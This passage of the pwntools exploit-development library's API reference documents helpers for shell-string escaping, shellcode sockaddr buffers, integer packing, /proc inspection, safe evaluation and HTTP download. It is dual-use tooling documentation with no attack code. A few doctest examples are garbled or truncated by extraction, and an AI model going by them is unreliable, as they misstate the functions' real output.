>>> r = sh_prepare({'X': 'foobar', 'Y': 'cookies'})
>>> r == 'X=foobar; Y=cookies' or r == 'Y=cookies; X=foobar'
True
>>> print sh_prepare({'X': 'foo bar'})
X='foo bar'
>>> print sh_prepare({'X': "foo'bar"})
X="foo'bar"
>>> print sh_prepare({'X': "foo\\bar"})
X='foo\bar'
>>> print sh_prepare({'X': "foo\\'bar"})
X="foo\\'bar"
>>> print sh_prepare({'X': "foo\x01'bar"})
X="$(printf 'foo\001\047bar')"
>>> print sh_prepare({'X': "foo\x01'bar"}, export = True)
export X="$(printf 'foo\001\047bar')"
>>> print sh_prepare({'X': "foo\x01'bar\n"})
X="$(printf 'foo\001\047bar\nx')";X=${X%x}
>>> print sh_prepare({'X': "foo\x01'bar\n"}, export = True)
X="$(printf 'foo\001\047bar\nx')";export X=${X%x}
>>> print `subprocess.check_output('%s;echo -n "$X"' % sh_prepare({'X': "foo\x01'bar"}), shell =
"foo\x01'bar"
```

pwnlib.util.misc.sh_string(s)

Outputs a string in a format that will be understood by /bin/sh.

If the string does not contain any bad characters, it will simply be returned, possibly with quotes. If it contains bad characters, it will be escaped in a way which is compatible with most known systems.

Examples

```
>>> print sh_string('foobar')
foobar
>>> print sh_string('foo bar')
'foo bar'
>>> print sh_string("foo'bar")
"foo'bar"
>>> print sh_string("foo\\bar")
'foo\bar'
>>> print sh_string("foo\\'bar")
"foo\\'bar"
>>> print sh_string("foo\\same and same and
```

pwnlib.util.misc.size $(n, abbriv = 'B', si = False) \rightarrow str$

Convert the length of a bytestream to human readable form.

- **n** (*int*, *str*) The length to convert to human readable form
- abbriv (str) -

```
>>> size(451)
'451B'
>>> size(1000)
'1000B'
>>> size(1024)
'1.00KB'
>>> size(1024, si = True)
'1.02KB'
>>> [size(1024 ** n) for n in range(7)]
['1B', '1.00KB', '1.00MB', '1.00TB', '1.00PB', '1024.00PB']
```

pwnlib.util.misc.which (name, flags = $os.X_OK$, all = False) \rightarrow str or str set

Works as the system command which; searches \$PATH for name and returns a full path if found.

If all is True the set of all found locations is returned, else the first occurence or None is returned.

Parameters

- name (str) The file to search for.
- **all** (bool) Whether to return all locations where *name* was found.

Returns If *all* is True the set of all locations where *name* was found, else the first location or None if not found.

Example

```
>>> which('sh')
'/bin/sh'
```

pwnlib.util.misc.write(path, data='', create_dir=False, mode='w')

Create new file or truncate existing to zero length and write data.

2.31 pwnlib.util.net — Networking interfaces

```
pwnlib.util.net.getifaddrs() \rightarrow dict list A wrapper for libc's getifaddrs.
```

Parameters None -

Returns list of dictionaries each representing a *struct ifaddrs*. The dictionaries have the fields *name*, *flags*, *family*, *addr* and *netmask*. Refer to *getifaddrs*(3) for details. The fields *addr* and *netmask* are themselves dictionaries. Their structure depend on *family*. If *family* is not socket.AF_INET or socket.AF_INET6 they will be empty.

```
pwnlib.util.net.interfaces (all = False) \rightarrow dict
```

Parameters

- all (bool) Whether to include interfaces with not associated address.
- Default False.

Returns A dictionary mapping each of the hosts interfaces to a list of it's addresses. Each entry in the list is a tuple (family, addr), and *family* is either socket.AF_INET or socket.AF_INET6.

```
pwnlib.util.net.interfaces4 (all = False) \rightarrow dict
```

As *interfaces* () but only includes IPv4 addresses and the lists in the dictionary only contains the addresses not the family.

Parameters

- **all** (bool) Whether to include interfaces with not associated address.
- Default False.

Returns A dictionary mapping each of the hosts interfaces to a list of it's IPv4 addresses.

```
pwnlib.util.net.interfaces6 (all = False) \rightarrow dict
```

As *interfaces* () but only includes IPv6 addresses and the lists in the dictionary only contains the addresses not the family.

Parameters

- all (bool) Whether to include interfaces with not associated address.
- Default False.

Returns A dictionary mapping each of the hosts interfaces to a list of it's IPv6 addresses.

```
pwnlib.util.net.sockaddr (host, port, network = 'ipv4') -> (data, length, family)
Creates a sockaddr_in or sockaddr_in6 memory buffer for use in shellcode.
```

Parameters

- host (str) Either an IP address or a hostname to be looked up.
- port (int) TCP/UDP port.
- **network** (*str*) Either 'ipv4' or 'ipv6'.

Returns A tuple containing the sockaddr buffer, length, and the address family.

2.32 pwnlib.util.packing — Packing and unpacking of strings

Module for packing and unpacking integers.

Simplifies access to the standard struct.pack and struct.unpack functions, and also adds support for packing/unpacking arbitrary-width integers.

The packers are all context-aware for endian and signed arguments, though they can be overridden in the parameters.

Examples

```
>>> p8(0)
'\x00'
>>> p32(0xdeadbeef)
'\xef\xbe\xad\xde'
>>> p32(0xdeadbeef, endian='big')
'\xde\xad\xbe\xef'
>>> with context.local(endian='big'): p32(0xdeadbeef)
'\xde\xad\xbe\xef'
```

Make a frozen packer, which does not change with context.

```
>>> p=make_packer('all')
>>> p(0xff)
'\xff'
>>> p(0x1ff)
'\xff\x01'
>>> with context.local(endian='big'): print repr(p(0x1ff))
'\xff\x01'
```

```
pwnlib.util.packing.dd (dst, src, count = 0, skip = 0, seek = 0, truncate = False) \rightarrow dst Inspired by the command line tool dd, this function copies count byte values from offset seek in src to offset skip in dst. If count is 0, all of src[seek:] is copied.
```

If *dst* is a mutable type it will be updated. Otherwise a new instance of the same type will be created. In either case the result is returned.

src can be an iterable of characters or integers, a unicode string or a file object. If it is an iterable of integers, each integer must be in the range [0;255]. If it is a unicode string, its UTF-8 encoding will be used.

The seek offset of file objects will be preserved.

Parameters

- dst Supported types are :class:file, :class:list, :class:tuple, :class:str, :class:bytearray and :class:unicode.
- src An iterable of byte values (characters or integers), a unicode string or a file object.
- **count** (*int*) How many bytes to copy. If *count* is 0 or larger than len (src[seek:]), all bytes until the end of *src* are copied.
- **skip** (*int*) Offset in *dst* to copy to.
- **seek** (*int*) Offset in *src* to copy from.
- **truncate** (bool) If :const:True, dst is truncated at the last copied byte.

Returns A modified version of dst. If dst is a mutable type it will be modified in-place.

Examples: >>> dd(tuple('Hello!'), '?', skip = 5) ('H', 'e', 'l', 'l', 'o', '?') >>> dd(list('Hello!'), (63,), skip = 5) ['H', 'e', 'l', 'l', 'o', '?'] >>> write('/tmp/foo', 'A' * 10) ... dd(file('/tmp/foo'), file('/dev/zero'), skip = 3, count = 4) ... read('/tmp/foo') 'AAAAAA' >>> write('/tmp/foo', 'A' * 10) ... dd(file('/tmp/foo'), file('/dev/zero'), skip = 3, count = 4, truncate = True) ... read('/tmp/foo') 'AAA'

pwnlib.util.packing.**fit** (pieces, filler = $de_bruijn()$, length = None, $preprocessor = None) <math>\rightarrow$ str Generates a string from a dictionary mapping offsets to data to place at that offset.

For each key-value pair in *pieces*, the key is either an offset or a byte sequence. In the latter case, the offset will be the lowest index at which the sequence occurs in *filler*. See examples below.

Each piece of data is passed to flat () along with the keyword arguments word_size, endianness and sign.

Space between pieces of data is filled out using the iterable *filler*. The n'th byte in the output will be byte at index n % len(iterable) byte in *filler* if it has finite length or the byte at index n otherwise.

If *length* is given, the output will padded with bytes from *filler* to be this size. If the output is longer than *length*, a ValueError exception is raised.

If entries in *pieces* overlap, a ValueError exception is raised.

- pieces Offsets and values to output.
- **length** The length of the output.

- **filler** Iterable to use for padding.
- **preprocessor** (function) Gets called on every element to optionally transform the element before flattening. If None is returned, then the original value is used.
- word_size (int) Word size of the converted integer.
- **endianness** (*str*) Endianness of the converted integer ("little"/"big").
- **sign** (*str*) Signedness of the converted integer (False/True)

Flattens the arguments into a string.

This function takes an arbitrary number of arbitrarily nested lists and tuples. It will then find every string and number inside those and flatten them out. Strings are inserted directly while numbers are packed using the pack () function.

The three kwargs word_size, endianness and sign will default to using values in pwnlib.context if not specified as an argument.

Parameters

- args Values to flatten
- **preprocessor** (function) Gets called on every element to optionally transform the element before flattening. If None is returned, then the original value is uded.
- word_size (int) Word size of the converted integer.
- **endianness** (*str*) Endianness of the converted integer ("little"/"big").
- **sign** (str) Signedness of the converted integer (False/True)

Examples

```
>>> flat(1, "test", [[["AB"]*2]*3], endianness = 'little', word_size = 16, sign = F
alse)
'\x01\x00testABABABABABAB'
>>> flat([1, [2, 3]], preprocessor = lambda x: str(x+1))
'234'
```

```
pwnlib.util.packing.make_packer(word\_size = None, endianness = None, sign = None) \rightarrow number \rightarrow str
```

Creates a packer by "freezing" the given arguments.

Semantically calling make_packer(w, e, s) (data) is equivalent to calling pack(data, w, e, s). If word_size is one of 8, 16, 32 or 64, it is however faster to call this function, since it will then use a specialized version.

Parameters

- word_size (int) The word size to be baked into the returned packer or the string all.
- **endianness** (str) The endianness to be baked into the returned packer. ("little"/"big")
- sign (str) The signness to be baked into the returned packer. ("unsigned"/"signed")
- **kwargs** Additional context flags, for setting by alias (e.g. endian= rather than index)

Returns A function, which takes a single argument in the form of a number and returns a string of that number in a packed form.

Examples

```
>>> p = make_packer(32, endian='little', sign='unsigned')
>>> p
<function _p32lu at 0x...>
>>> p(42)
'*\x00\x00\x00'
>>> p(-1)
Traceback (most recent call last):
...
error: integer out of range for 'I' format code
>>> make_packer(33, endian='little', sign='unsigned')
<function <lambda> at 0x...>
```

```
pwnlib.util.packing.make_unpacker(word\_size = None, endianness = None, sign = None, **kwargs) \rightarrow str \rightarrow number
```

Creates a unpacker by "freezing" the given arguments.

Semantically calling make_unpacker(w, e, s) (data) is equivalent to calling unpack(data, w, e, s). If word_size is one of 8, 16, 32 or 64, it is however faster to call this function, since it will then use a specialized version.

Parameters

- word_size (int) The word size to be baked into the returned packer.
- endianness (str) The endianness to be baked into the returned packer. ("little"/"big")
- sign (str) The signness to be baked into the returned packer. ("unsigned"/"signed")
- kwargs Additional context flags, for setting by alias (e.g. endian= rather than index)

Returns A function, which takes a single argument in the form of a string and returns a number of that string in an unpacked form.

Examples

```
>>> u = make_unpacker(32, endian='little', sign='unsigned')
>>> u
<function _u32lu at 0x...>
>>> hex(u('/bin'))
'0x6e69622f'
>>> u('abcde')
```

```
Traceback (most recent call last):
    ...
error: unpack requires a string argument of length 4
>>> make_unpacker(33, endian='little', sign='unsigned')
<function <lambda> at 0x...>
```

pwnlib.util.packing.p16 (number, sign, endian, ...) \rightarrow str Packs an 16-bit integer

Parameters

- number (int) Number to convert
- **endianness** (str) Endianness of the converted integer ("little"/"big")
- **sign** (str) Signedness of the converted integer ("unsigned"/"signed")
- **kwargs** (dict) Arguments passed to context.local(), such as endian or signed.

Returns The packed number as a string

```
pwnlib.util.packing.p32 (number, sign, endian, ...) \rightarrow str
Packs an 32-bit integer
```

Parameters

- number (int) Number to convert
- endianness (str) Endianness of the converted integer ("little"/"big")
- **sign** (str) Signedness of the converted integer ("unsigned"/"signed")
- kwargs (dict) Arguments passed to context.local(), such as endian or signed.

Returns The packed number as a string

```
pwnlib.util.packing.p64 (number, sign, endian, ...) \rightarrow str Packs an 64-bit integer
```

Parameters

- number (int) Number to convert
- endianness (str) Endianness of the converted integer ("little"/"big")
- **sign** (str) Signedness of the converted integer ("unsigned"/"signed")
- kwarqs (dict) Arguments passed to context.local(), such as endian or signed.

Returns The packed number as a string

```
pwnlib.util.packing.p8 (number, sign, endian, ...) \rightarrow str Packs an 8-bit integer
```

Parameters

- number(int) Number to convert
- endianness (str) Endianness of the converted integer ("little"/"big")
- **sign** (str) Signedness of the converted integer ("unsigned"/"signed")
- kwargs (dict) Arguments passed to context.local(), such as endian or signed.

Returns The packed number as a string

```
pwnlib.util.packing.pack (number, word_size = None, endianness = None, sign = None, **kwargs) \rightarrow str Packs arbitrary-sized integer.
```

Word-size, endianness and signedness is done according to context.

word_size can be any positive number or the string "all". Choosing the string "all" will output a string long enough to contain all the significant bits and thus be decodable by unpack().

word_size can be any positive number. The output will contain word_size/8 rounded up number of bytes. If word_size is not a multiple of 8, it will be padded with zeroes up to a byte boundary.

Parameters

- number (int) Number to convert
- word_size (int) Word size of the converted integer or the string 'all'.
- endianness (str) Endianness of the converted integer ("little"/"big")
- **sign** (str) Signedness of the converted integer (False/True)
- **kwargs** Anything that can be passed to context.local

Returns The packed number as a string.

Examples

```
>>> pack(0x414243, 24, 'big', True)
>>> pack(0x414243, 24, 'little', True)
'CBA'
>>> pack(0x814243, 24, 'big', False)
'\x81BC'
>>> pack(0x814243, 24, 'big', True)
Traceback (most recent call last):
ValueError: pack(): number does not fit within word_size
>>> pack(0x814243, 25, 'big', True)
'\x00\x81BC'
>>> pack(-1, 'all', 'little', True)
'\xff'
>>> pack (-256, 'all', 'big', True)
>>> pack(0x0102030405, 'all', 'little', True)
'\x05\x04\x03\x02\x01'
>>> pack (-1)
'\xff\xff\xff\xff'
>>> pack(0x80000000, 'all', 'big', True)
'\x00\x80\x00\x00\x00'
```

```
pwnlib.util.packing.routine(*a, **kw)
     u32(number, sign, endian, ...) -> int
```

Unpacks an 32-bit integer

Parameters

- data (str) String to convert
- endianness (str) Endianness of the converted integer ("little"/"big")
- **sign** (str) Signedness of the converted integer ("unsigned"/"signed")

• kwarqs (dict) - Arguments passed to context.local(), such as endian or signed.

Returns The unpacked number

```
pwnlib.util.packing.u16 (number, sign, endian, ...) \rightarrow int Unpacks an 16-bit integer
```

Parameters

- data (str) String to convert
- endianness (str) Endianness of the converted integer ("little"/"big")
- **sign** (str) Signedness of the converted integer ("unsigned"/"signed")
- **kwargs** (*dict*) Arguments passed to context.local(), such as endian or signed.

Returns The unpacked number

```
pwnlib.util.packing.u32 (number, sign, endian, ...) \rightarrow int Unpacks an 32-bit integer
```

Parameters

- data (str) String to convert
- endianness (str) Endianness of the converted integer ("little"/"big")
- **sign** (str) Signedness of the converted integer ("unsigned"/"signed")
- **kwargs** (*dict*) Arguments passed to context.local(), such as endian or signed.

Returns The unpacked number

```
pwnlib.util.packing.u64 (number, sign, endian, ...) \rightarrow int Unpacks an 64-bit integer
```

Parameters

- data (str) String to convert
- endianness (str) Endianness of the converted integer ("little"/"big")
- **sign** (str) Signedness of the converted integer ("unsigned"/"signed")
- **kwargs** (dict) Arguments passed to context.local(), such as endian or signed.

Returns The unpacked number

```
pwnlib.util.packing.u8 (number, sign, endian, ...) \rightarrow int Unpacks an 8-bit integer
```

Parameters

- data (str) String to convert
- endianness (str) Endianness of the converted integer ("little"/"big")
- **sign** (str) Signedness of the converted integer ("unsigned"/"signed")
- $\bullet \ \textbf{kwargs} \ (\textit{dict}) Arguments \ passed \ to \ context.local(), \ such \ as \ \texttt{endian} \ or \ \texttt{signed}.$

Returns The unpacked number

```
pwnlib.util.packing.unpack (data, word\_size = None, endianness = None, sign = None, **kwargs) \rightarrow int Packs arbitrary-sized integer.
```

Word-size, endianness and signedness is done according to context.

word_size can be any positive number or the string "all". Choosing the string "all" is equivalent to len(data) *8.

If word_size is not a multiple of 8, then the bits used for padding are discarded.

Parameters

- **number** (*int*) String to convert
- word_size (int) Word size of the converted integer or the string "all".
- endianness (str) Endianness of the converted integer ("little"/"big")
- **sign** (str) Signedness of the converted integer (False/True)
- **kwargs** Anything that can be passed to context.local

Returns The unpacked number.

Examples

```
>>> hex(unpack('\xaa\x55', 16, endian='little', sign=False))
'0x55aa'
>>> hex(unpack('\xaa\x55', 16, endian='big', sign=False))
'0xaa55'
>>> hex(unpack('\xaa\x55', 16, endian='big', sign=True))
'-0x55ab'
>>> hex(unpack('\xaa\x55', 15, endian='big', sign=True))
'0x2a55'
>>> hex(unpack('\xff\x02\x03', 'all', endian='little', sign=True))
'0x302ff'
>>> hex(unpack('\xff\x02\x03', 'all', endian='big', sign=True))
'-0xfdfd'
```

```
pwnlib.util.packing.unpack_many (*a, **kw)
    unpack(data, word_size = None, endianness = None, sign = None) -> int list
```

Splits *data* into groups of word_size//8 bytes and calls *unpack()* on each group. Returns a list of the results.

word_size must be a multiple of 8 or the string "all". In the latter case a singleton list will always be returned.

Args number (int): String to convert word_size (int): Word size of the converted integers or the string "all". endianness (str): Endianness of the converted integer ("little"/"big") sign (str): Signedness of the converted integer (False/True) kwargs: Anything that can be passed to context.local

Returns The unpacked numbers.

Examples

```
>>> map(hex, unpack_many('\xaa\x55\xcc\x33', 16, endian='little', sign=False))
['0x55aa', '0x33cc']
>>> map(hex, unpack_many('\xaa\x55\xcc\x33', 16, endian='big', sign=False))
['0xaa55', '0xcc33']
>>> map(hex, unpack_many('\xaa\x55\xcc\x33', 16, endian='big', sign=True))
['-0x55ab', '-0x33cd']
>>> map(hex, unpack_many('\xff\x02\x03', 'all', endian='little', sign=True))
['0x302ff']
```

```
>>> map(hex, unpack_many('\xff\x02\x03', 'all', endian='big', sign=True))
['-0xfdfd']
```

2.33 pwnlib.util.proc — Working with /proc/

```
pwnlib.util.proc.ancestors (pid) \rightarrow int list
```

Parameters pid(int) – PID of the process.

Returns List of PIDs of whose parent process is *pid* or an ancestor of *pid*.

 $\texttt{pwnlib.util.proc.children} \ (\textit{ppid}) \ \rightarrow \textbf{int list}$

Parameters pid (int) – PID of the process.

Returns List of PIDs of whose parent process is *pid*.

pwnlib.util.proc.cmdline $(pid) \rightarrow str list$

Parameters pid (int) – PID of the process.

Returns A list of the fields in /proc/<pid>/cmdline.

pwnlib.util.proc.cwd(pid) \rightarrow str

Parameters pid(int) - PID of the process.

Returns The path of the process's current working directory. I.e. what /proc/<pid>/cwd points to.

pwnlib.util.proc.descendants(pid) \rightarrow dict

Parameters pid(int) - PID of the process.

Returns Dictionary mapping the PID of each child of *pid* to it's descendants.

pwnlib.util.proc.exe $(pid) \rightarrow str$

Parameters pid (int) – PID of the process.

Returns The path of the binary of the process. I.e. what /proc/<pid>/exe points to.

pwnlib.util.proc.name(pid) \rightarrow str

Parameters pid (int) – PID of the process.

Returns Name of process as listed in /proc/<pid>/status.

Example

```
>>> pid = pidof('init')[0]
>>> name(pid) == 'init'
True
```

 $\texttt{pwnlib.util.proc.parent}\,(\textit{pid})\,\rightarrow \mathsf{int}$

Parameters pid(int) – PID of the process.

Returns Parent PID as listed in /proc/<pid>/status under PPid, or 0 if there is not parent.

pwnlib.util.proc.pid_by_name(name) \rightarrow int list

Parameters name (str) – Name of program.

Returns List of PIDs matching *name* sorted by lifetime, youngest to oldest.

Example

```
>>> os.getpid() in pid_by_name(name(os.getpid()))
True
```

pwnlib.util.proc.pidof (target) \rightarrow int list

Get PID(s) of *target*. The returned PID(s) depends on the type of *target*:

- •str: PIDs of all processes with a name matching *target*.
- •pwnlib.tubes.process.process: singleton list of the PID of target.
- •pwnlib.tubes.sock.sock: singleton list of the PID at the remote end of *target* if it is running on the host. Otherwise an empty list.

Parameters target (object) – The target whose PID(s) to find.

Returns A list of found PIDs.

```
pwnlib.util.proc.starttime (pid) \rightarrow float
```

Parameters pid(int) – PID of the process.

Returns The time (in seconds) the process started after system boot

```
pwnlib.util.proc.stat(pid) \rightarrow str list
```

Parameters pid (int) – PID of the process.

Returns A list of the values in /proc/<pid>/stat, with the exception that (and) has been removed from around the process name.

```
pwnlib.util.proc.state(pid) \rightarrow str
```

Parameters pid (int) – PID of the process.

Returns State of the process as listed in /proc/<pid>/status. See *proc*(5) for details.

Example

```
>>> state(os.getpid())
'R (running)'
```

```
pwnlib.util.proc.status(pid) \rightarrow dict
```

Get the status of a process.

Parameters pid (int) – PID of the process.

Returns The contents of /proc/<pid>/status as a dictionary.

```
pwnlib.util.proc.tracer(pid) \rightarrow int
```

Parameters pid (int) – PID of the process.

Returns PID of the process tracing *pid*, or None if no *pid* is not being traced.

Example

```
>>> tracer(os.getpid()) is None
True
```

```
pwnlib.util.proc.wait_for_debugger(pid) \rightarrow None
```

Sleeps until the process with PID *pid* is being traced.

Parameters pid (int) – PID of the process.

Returns None

2.34 pwnlib.util.safeeval — Safe evaluation of python code

```
pwnlib.util.safeeval.const (expression) \rightarrow value
Safe Python constant evaluation
```

Evaluates a string that contains an expression describing a Python constant. Strings that are not valid Python expressions or that contain other code besides the constant raise ValueError.

Examples

```
>>> const("10")
10
>>> const("[1,2, (3,4), {'foo':'bar'}]")
[1, 2, (3, 4), {'foo': 'bar'}]
>>> const("[1]+[2]")
Traceback (most recent call last):
...
ValueError: opcode BINARY_ADD not allowed
```

```
pwnlib.util.safeeval.expr(expression) \rightarrow value
Safe Python expression evaluation
```

Evaluates a string that contains an expression that only uses Python constants. This can be used to e.g. evaluate a numerical expression from an untrusted source.

Examples

```
>>> expr("1+2")
3
>>> expr("[1,2]*2")
[1, 2, 1, 2]
>>> expr("__import__('sys').modules")
Traceback (most recent call last):
...
ValueError: opcode LOAD_NAME not allowed
```

```
pwnlib.util.safeeval.test_expr(expr, allowed_codes) → codeobj
```

Test that the expression contains only the listed opcodes. If the expression is valid and contains only allowed codes, return the compiled code object. Otherwise raise a ValueError

```
pwnlib.util.safeeval.values (expression, dict) \rightarrow value Safe Python expression evaluation
```

Evaluates a string that contains an expression that only uses Python constants and values from a supplied dictionary. This can be used to e.g. evaluate e.g. an argument to a syscall.

Note: This is potentially unsafe if e.g. the __add__ method has side effects.

Examples

2.35 pwnlib.util.web — Utilities for working with the WWW

pwnlib.util.web.wget (url, save=None, timeout=5) \rightarrow str Downloads a file via HTTP/HTTPS.

Parameters

- url (str) URL to download
- save (str or bool) Name to save as. Any truthy value will auto-generate a name based on the URL.
- timeout (int) Timeout, in seconds

Example

```
>>> url = 'https://httpbin.org/robots.txt'
>>> result = wget(url)
>>> result
'User-agent: *\nDisallow: /deny\n'
>>> result2 = wget(url, True)
>>> result == file('robots.txt').read()
True
```

2.36 pwnlib.testexample — Example Test Module

Module-level documentation would go here, along with a general description of the functionality. You can also add module-level doctests.

You can see what the documentation for this module will look like here: https://docs.pwntools.com/en/stable/testexample.html

The tests for this module are run when the documentation is automatically-generated by Sphinx. This particular module is invoked by an "automodule" directive, which imports everything in the module, or everything listed in all in the module.

The doctests are automatically picked up by the >>> symbol, like from the Python prompt. For more on doctests, see the Python documentation.

All of the syntax in this file is ReStructuredText. You can find a nice cheat sheet here.

Here's an example of a module-level doctest:

```
>>> add(3, add(2, add(1, 0)))
6
```

If doctests are wrong / broken, you can disable them temporarily.

```
>>> add(2, 2) 5
```

Some things in Python are non-deterministic, like dict or set ordering. There are a lot of ways to work around this, but the accepted way of doing this is to test for equality.

```
>>> a = {a:a+1 for a in range(3)}
>>> a == {0:1, 1:2, 2:3}
True
```

In order to use other modules, they need to be imported from the RST which documents the module.

```
>>> os.path.basename('foo/bar')
'bar'
```

pwnlib.testexample.add $(a,b) \rightarrow \text{int}$

Adds the numbers a and b.

Parameters

- **a** (*int*) First number to add
- **b** (*int*) Second number to add

Returns The sum of a and b.

Examples

```
>>> add(1,2)
3
>>> add(-1, 33)
32
```

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